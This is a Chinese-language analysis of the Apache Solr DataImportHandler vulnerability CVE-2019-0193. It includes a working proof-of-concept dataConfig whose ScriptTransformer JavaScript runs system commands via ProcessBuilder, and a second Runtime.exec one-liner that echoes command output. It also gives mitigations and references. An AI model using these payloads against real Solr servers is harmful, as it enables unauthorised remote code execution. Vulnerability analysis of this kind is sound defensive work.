编号
CVE-2019-0193
漏洞简介
DataImportHandler是一个可选但使用广泛的模块,默认不启用,用于从数据库和其他源中提取数据,它有一个特性即整个DIH配置可以来自一个请求的“dataConfig”参数。DIH管理的调试模式使用它来方便地调试DIH配置的开发。因为DIH配置可以包含script脚本,所以这个参数存在安全风险。从Solr的8.2.0版本开始,使用这个参数需要设置 Java System property,设置"enable.dih.dataConfigParam" 为 true.。
漏洞详情
分析
漏洞越来越多,每个跟进都需要及时。环境搭建是编制漏洞POC永恒的过程,通过认真进行的环境搭建有助于清晰实际利用的难度,了解应用资产的部署范围、准确梳理漏洞利用思路,切实提出有效的修复方案。
目标内网机器名越来也规范,架构越来越复杂,不断的扩展网络发现未知后端服务后查找公开资料、exploit-db、cve漏洞,希冀历史poc生效。长期储备攻击手段,了解目标主流技术栈的基本后端业务,攻击才能越来也熟练和自信。
搭建过程不再赘述,参考资料有较为详细的教程。漏洞利用主要参考披露的有限信息。
https://lucene.apache.org/solr/guide/6_6/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer
核心实现是org.apache.solr.handler.dataimport下的ScriptTransformer方法
显然得知,漏洞利用脚本如下。
poc
<dataConfig>
<dataSource name="fromMysql"
type="JdbcDataSource"
driver="com.mysql.jdbc.Driver"
url="jdbc:mysql://localhost:3306/mysql"
user="root"
password="123456"/>
<script ><![CDATA[
function f2c(row) {
var x=new java.lang.ProcessBuilder;x.command("open","/");org.apache.commons.io.IOUtils.toString(x.start().getInputStream());
return row;
}
]]>
</script>
<document>
<entity name="Users" query="SELECT 1" transformer="script:f2c">
</entity>
</document>
</dataConfig>
根本原因是solr的特性ScriptTransformer,称为脚本转换器,使用菜单项的dataimport功能时通过连接数据源获取数据索引,然后触发用户自定义的script处理查询出来的数据,实现命令执行。默认使用java6后支持js的scriptmanager,也支持Javascript, JRuby, Jython, Groovy, BeanShell的写法,通过script的tag指定language,当然lib必须有对应的jar包。但是在java的运行环境中,JavaScript也可以执行命令,因为scriptmanager的机制是可以js调用java代码,所以除了上面的poc外,还有一个支持回显的写法如下。
print(new java.io.BufferedReader( new java.io.InputStreamReader(java.lang.Runtime.getRuntime().exec(\"open .\").getInputStream())).readLine())
虽然这个功能是后台才能执行,但是solr后台一般是没有认证,官方认为这类软件必须是部署在内部网络的,也提供BASIC和Kerberos插件等身份认证方式。建议启动solr时添加对应的参数,通过java security manager 设置也可以进行安全加固。笔者认为严格来说并不能算是安全漏洞,仅仅是安全设计问题,只是支持的功能特性的范围太宽泛了。
搜集处理
利用完毕后,将相关漏洞代码纳入Vulncode-DB,作为同类型漏洞挖掘的知识储备。
参考资料
https://www.freebuf.com/sectool/159970.html
https://www.openwall.com/lists/oss-security/2019/08/01/1
https://nvd.nist.gov/vuln/detail/CVE-2019-0193
https://issues.apache.org/jira/browse/SOLR-13669
http://lucene.apache.org/solr/guide/8_1/uploading-structured-data-store-data-with-the-data-import-handler.html#the-scripttransformer
网友评论